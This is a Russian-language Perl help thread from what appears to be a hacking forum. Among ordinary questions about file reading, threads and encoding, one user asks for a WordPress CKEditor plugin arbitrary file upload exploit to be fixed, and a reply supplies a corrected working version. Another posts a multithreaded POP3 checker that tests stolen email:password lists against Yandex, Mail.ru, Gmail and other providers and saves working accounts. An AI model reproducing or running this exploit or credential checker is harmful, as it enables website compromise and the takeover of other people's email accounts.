[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. _Spamer_

    _Spamer_ Elder - Старейшина

    Joined:
    3 Feb 2009
    Messages:
    83
    Likes Received:
    140
    Reputations:
    16
    Shelly,
    Code:
    my @passes = loadf('passwords.txt');	
    
    while(1)
    {
    	my $pass = shift @passes;
    	if(!$pass)	
    	{
    		exit;
    	}
    	print $pass."\n";
    }
    
    
    
    
    sub loadf {
    	open (F, "<".$_[0]) or erroropen($_[0]);
    	chomp(my @data = <F>);
    	close F;
    	return @data;
    }
    
     
  2. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Не работает таймаут в LWP::UserAgent, ставлю так:
    $ua->timeout(30);
     
  3. Shelly

    Shelly New Member

    Joined:
    18 Oct 2012
    Messages:
    0
    Likes Received:
    1
    Reputations:
    1
    Спасиб, подобрал более компактный вариант
    perl.exe -T load_pass.pl pass.txt

    Code:
    use strict;
    use warnings;
    $|=1;
    open L,"<",$ARGV[0];
    select((select(L), $|=1)[0]);
    
    print "\n\n";
    
      while (<L>){
         chomp $_;     
         print  "Pass:".$_."!\n";
      }
    print "\n";
    
     
  4. Shelly

    Shelly New Member

    Joined:
    18 Oct 2012
    Messages:
    0
    Likes Received:
    1
    Reputations:
    1
    Набрасал небольшой парсер но что то ругаетсья
    perl.exe traf.pl site.txt
    Code:
    use strict;
    use warnings;
    use LWP;
    use LWP::Simple;
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    $|=1;
    open L,"<",$ARGV[0];
    select((select(L), $|=1)[0]);
    my ($site, $traf, $ua, $k);
    
      while (<L>){
         chomp $_;
         $_ =~ s/^http:\/\///;
         my  $site = $_;
         my $ua = LWP::UserAgent->new(cookie_jar => new HTTP::Cookies);     
    
         $traf = $ua->get('http://counter.yadro.ru/values?site='.$site)->as_string;
    
          while ($traf =~ /LI_day_vis = (.+?);/g) {
            $k=$1;
            open(F, ">> log.txt");
            print   $site."\t\t".$k."\n";
            print F "http://".$site."\t\t".$k."\n";        
            
          }
          close(F);     
      }
    print "\n"
    
    
    поправил спасибо!
     
    #2064 Shelly, 11 Dec 2012
    Last edited: 11 Dec 2012
  5. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Переменная $ua не является объектом и не обладает методом get.
    Если хочется LWP::Simple, то пример тут есть
    http://search.cpan.org/~gaas/libwww-perl-6.04/lib/LWP/Simple.pm
    если LWP::UserAgent, то
    use LWP::UserAgent;
    ...
    $ua = new LWP::UserAgent;
    ...
    и т.д.
     
    _________________________
  6. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    cmd.exe, кодировка сменена на UTF-8 -> chcp 65001, сам скрипт в кодировке utf-8.

    Такой скрипт:
    Code:
    use encoding 'utf8', STDOUT => 'utf8';
    
    print "Большая строка в юникоде\n";
    Выводит:
    Code:
    C:\Users\xxx\Desktop\script>chcp
    Active code page: 65001
    
    C:\Users\xxx\Desktop\script>perl 1.pl
    Большая строка в юникоде
    а в юникоде
    коде
    �е
    How fix (шо за нах)? Как с русским то быть и кроссплатформенным приложением?

    _http://msdn.microsoft.com/en-us/library/windows/desktop/dd317756(v=vs.85).aspx
     
    #2066 Strilo4ka, 31 Jan 2013
    Last edited: 31 Jan 2013
  7. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    92
    Likes Received:
    64
    Reputations:
    19
    Как заставить каждый поток брать по строчке из файла?
    Загружать весь файл в массив неприемлимо.

    Чтото типа такого:
    Code:
    #!/usr/bin/perl -w
    
    use threads;
    
    open($fh,"test.txt");
    
    # Массив для хранения ссылок на потоки
    my @threads;
    
    # Количество потоков
    my $threads = 20;
    
    # Создание потоков
    for (my $i = 0; $i < $threads; $i++){
    push @threads,threads->new(\&threadproc,$i);
    }
    
    # Ожидание завершения потоков
    foreach my $thread (@threads) {
    $thread->join();
    }
    
    # Поток
    sub threadproc {
    sleep rand 5;
    my $line = <$fh>;
    print $line;
    }
    
    UPD: Похоже так не сделать. (Хотелось бы услышать мнение Kaimi). Загрузил в массив. Работает отлично.
     
    #2067 totenkopf, 1 Feb 2013
    Last edited: 1 Feb 2013
  8. lenarishe

    lenarishe New Member

    Joined:
    31 Dec 2008
    Messages:
    7
    Likes Received:
    3
    Reputations:
    0
    попробуйте так..)
    Code:
    use encoding 'UTF-8', STDOUT => 'UTF-8';
     
  9. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    не пашет
     
  10. _Spamer_

    _Spamer_ Elder - Старейшина

    Joined:
    3 Feb 2009
    Messages:
    83
    Likes Received:
    140
    Reputations:
    16
    Strilo4ka,
     
  11. Billar

    Billar Banned

    Joined:
    9 Jul 2012
    Messages:
    15
    Likes Received:
    5
    Reputations:
    5
    Кто знает, в чем проблема?
     
  12. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Как обычно, проблема в коде, который не выложен.
     
    _________________________
  13. blesse

    blesse Member

    Joined:
    18 Jan 2012
    Messages:
    175
    Likes Received:
    8
    Reputations:
    1
    помогите ошибки исправить плз)
    Code:
    #!/usr/bin/perl
     
    use strict;
    use LWP::UserAgent;
    use HTTP::Request::Common;
     
    print <<INTRO;
    - Wordpress plugin CKEditor 4.0 Arbitrary File Upload Exploit
    - Vuln found and exploit written by sk0d SOH-Crew
    - Contact: [email protected]
    - Greetings: bd0rk, RaSsGoR, x0r_32
    INTRO
    print "Targethost: ";
    chomp (my $tar=<STDIN>);
    print "Directory: ";
    chomp (my $shell=<STDIN>);
     
    my $a = LWP::UserAgent->new;
    my $b = $a->request(POST $tar.'/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php';
    Content_Type => 'form-data',
    Content => [ NewFile => $shell ] );
     
    if ($b->is_success) {
    if (index($b->content, "Disabled") != -1) { print "The webserver is manipulated with your shellcode.\n"; } else { print "Exploit failed! :(\n";
    } else { print "Not connected with Target!\n"; }
     
    exit;
    
     
  14. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Как это было то... script kiddies, да...
    Code:
    #!/usr/bin/perl
     
    use strict;
    use LWP::UserAgent;
    use HTTP::Request::Common;
     
    print <<INTRO;
    - Wordpress plugin CKEditor 4.0 Arbitrary File Upload Exploit
    - Vuln found and exploit written by sk0d SOH-Crew
    - Contact: sk0d\@web.de
    - Greetings: bd0rk, RaSsGoR, x0r_32
    INTRO
    print "Targethost: ";
    chomp (my $tar=<STDIN>);
    print "Directory: ";
    chomp (my $shell=<STDIN>);
     
    my $a = LWP::UserAgent->new;
    my $b = $a->request(POST $tar.'/wp-content/plugins/ckeditor-for-wordpress/includes/upload.php',
    Content_Type => 'form-data',
    Content => [ NewFile => $shell ] );
     
    if ($b->is_success) {
    if (index($b->content, "Disabled") != -1) { print "The webserver is manipulated with your shellcode.\n"; } else { print "Exploit failed! :(\n";
    }} else { print "Not connected with Target!\n"; }
     
    exit;
    
     
    _________________________
    2 people like this.
  15. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    удалить из файла первую строку ?? как в цикле удалить первую строку чтоб постепенно опустошить файл
     
  16. Vip77

    Vip77 Elder - Старейшина

    Joined:
    29 Sep 2012
    Messages:
    281
    Likes Received:
    55
    Reputations:
    20
    Не работает прога на перле. Пишет:

    *******************************************************************
    Using the default of SSL_verify_mode of SSL_VERIFY_NONE for client
    is deprecated! Please set SSL_verify_mode to SSL_VERIFY_PEER
    together with SSL_ca_file|SSL_ca_path for verification.
    If you really don't want to verify the certificate and keep the
    connection open to Man-In-The-Middle attacks please set
    SSL_verify_mode explicitly to SSL_VERIFY_NONE in your application.
    *******************************************************************
    at C:\progi\perl\proga.pl line 192 thread 1.

    Где-то работает, а где-то нет.
    Вот, собственно, код:

    PHP:
    use warnings;
    use 
    strict;

    use 
    threads;
    use 
    threads::shared;

    use 
    IO::Socket;
    use 
    IO::Socket::SSL;

    use 
    Fcntl ':flock';

    my $accounts_file 'aki_suda.txt'# Аккаунты
    my $accounts_delimiter ':'# Делимитер
    my $good_file 'good.txt';
    my $bad_file 'bad.txt';
    my $error_file 'error.txt';
    my $log_bad 1;
    my $log_error 1;
    my $timeout 100;
    my $threads_count 10# Потоки


    ### ---------

    my %servers = (
    'rambler.ru' => {
    'host' => 'pop.rambler.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'lenta.ru' => {
    'host' => 'pop.rambler.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'myrambler.ru' => {
    'host' => 'pop.rambler.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'autorambler.ru' => {
    'host' => 'pop.rambler.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'ro.ru' => {
    'host' => 'pop.rambler.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'r0.ru' => {
    'host' => 'pop.rambler.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'yandex.ru' => {
    'host' => 'pop.yandex.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'yandex.ua' => {
    'host' => 'pop.yandex.ua'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'narod.ru' => {
    'host' => 'pop.narod.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'ya.ru' => {
    'host' => 'pop.yandex.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'ya.ua' => {
    'host' => 'pop.yandex.ua'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'mail.ru' => {
    'host' => 'pop.mail.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'bk.ru' => {
    'host' => 'pop.bk.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'inbox.ru' => {
    'host' => 'pop.inbox.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'list.ru' => {
    'host' => 'pop.list.ru'
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'gmail.com' => {
    'port' => 995
    'ssl' => 1,
    'login_email' => 1
    },
    'hotmail.com' => {
    'host' => 'pop3.live.com'
    'port' => 995
    'ssl' => 1,
    'login_email' => 1
    },
    'hotmail.co.uk' => {
    'host' => 'pop3.live.com'
    'port' => 995
    'ssl' => 1,
    'login_email' => 1
    },
    'yahoo.com' => {
    'host' => 'plus.pop.mail.yahoo.com',
    'port' => 995
    'ssl' => 1
    },
    'yahoo.co.uk' => {
    'host' => 'plus.pop.mail.yahoo.com',
    'port' => 995
    'ssl' => 1
    },
    'urk.net' => {
    'host' => 'pop3.ukr.net',
    'port' => 110
    }
    );

    my %statictis shared = ('good' => 0'bad' => 0'error' => 0'cheak' => 0);
    my @threads = ();

    $| = 
    1;

    my @accounts shared;
    (
    open FH'<'$accounts_file) || die "[Error] Can't open $accounts_file: $!";
    push @accounts$_ while <FH>;
    close FH;

    open FH'>'$good_file;
    close FH;

    if (
    $log_bad) {
    open FH'>'$bad_file;
    close FH;
    }
    if (
    $log_error) {
    open FH'>'$error_file;
    close FH;
    }

    sub thread_print {
    my ($str) = "@_ [thread ".threads->tid()."]";
    $str .= " " (78 length $str) if length $str 79;
    print 
    $str."\n";
    $str '';
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print 
    $str.'[threads: '.(scalar threads->list() + 1)."]\r";
    }

    sub check_account {
    while (
    1) {
    last if !@accounts;
    my $account lc shift @accounts;
    chomp $account;
    if (
    $account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
    my ($login$host$password) = ($1, $2, $3);
    my $r_login $login;
    my $sock;    
    if (
    $servers{$host}) {
    $r_login "$login\@$hostif ${$servers{$host}}{'login_email'};
    if (${
    $servers{$host}}{'ssl'}) {
    eval { 
    $sock IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp'PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
    } else {
    eval { 
    $sock IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp'PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
    }
    } else {
    eval{ 
    $sock IO::Socket::INET->new(PeerAddr => "pop.$host"Proto => 'tcp'PeerPort => 110Timeout => $timeout);    };
    }
    if (
    $sock) {
    $sock->autoflush(1);
    my $answ;
    $answ = <$sock>;
    my $bad 1
    if (
    $answ && substr($answ01eq '+') { 
    print 
    $sock "USER $r_login\n"
    $answ = <$sock>;
    if (
    $answ && substr($answ01eq '+') { 
    print 
    $sock "PASS $password\n";
    $answ = <$sock>;
    if (
    $answ && substr($answ01eq '+') {
    print 
    $sock "QUIT\n"
    close $sock;
    $bad 0;
    thread_print "[+] $login\@$host$accounts_delimiter$password"
    lock %statictis$statictis{'good'}++; $statictis{'cheak'}++; } 
    open FH'>>'$good_file;
    flock FHLOCK_EX;
    print 
    FH "$login\@$host$accounts_delimiter$password\n";
    flock FHLOCK_UN;
    close FH;
    elsif ($answ && $answ =~ /SYS\/PERM/) {
    $bad 0;
    lock %statictis$statictis{'error'}++; $statictis{'cheak'}++; } 
    thread_print "[~] $login\@$host$accounts_delimiter$password"
    }
    }
    }
    if (
    $bad) {
    thread_print "[-] $login\@$host$accounts_delimiter$password"
    lock %statictis$statictis{'bad'}++; $statictis{'cheak'}++; } 
    if (
    $log_bad) {
    open FH'>>'$bad_file;
    flock FHLOCK_EX;
    print 
    FH "$login\@$host$accounts_delimiter$password\n";
    flock FHLOCK_UN;
    close FH;
    }
    }

    else {
    lock %statictis$statictis{'error'}++; $statictis{'cheak'}++; } 
    thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";

    if (
    $log_error) {
    open FH'>>'$error_file;
    flock FHLOCK_EX;
    print 
    FH "$login\@$host$accounts_delimiter$password #$?: $!\n";
    flock FHLOCK_UN;
    close FH;
    }
    }
    }
    }
    threads->exit->detach;
    }

    $threads_count = $#accounts if $#accounts < $threads_count;
    $threads[$_] = threads->create(\&check_account) for 0..$threads_count 1;
    $_->join for @threads;
    my $str;
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print 
    "$str\n";
     
    #2076 Vip77, 23 May 2013
    Last edited: 23 May 2013
  17. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Значит почитай гугл и документацию по IO::Socket::SSL.
    Там указаны варианты:
    http://search.cpan.org/~sullr/IO-Socket-SSL-1.89/lib/IO/Socket/SSL.pm
     
    _________________________
    1 person likes this.
  18. Rinsty

    Rinsty New Member

    Joined:
    3 May 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Прошу помощи.
    Как сделать проверку, если в софте на каждое отправленное сообщение вылезает капча ? (на каждый запрос)
     
  19. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Проверку на то, вылезла ли капча?
    Зачем ее проверять, если она вылезает на каждое отправленное сообщение?
     
  20. Rinsty

    Rinsty New Member

    Joined:
    3 May 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Да нужно сделать проверку на капчу. Просто если она вылезает на каждое сообщение например, то аккаунт к примеру блочим на время.
     
Thread Status:
Not open for further replies.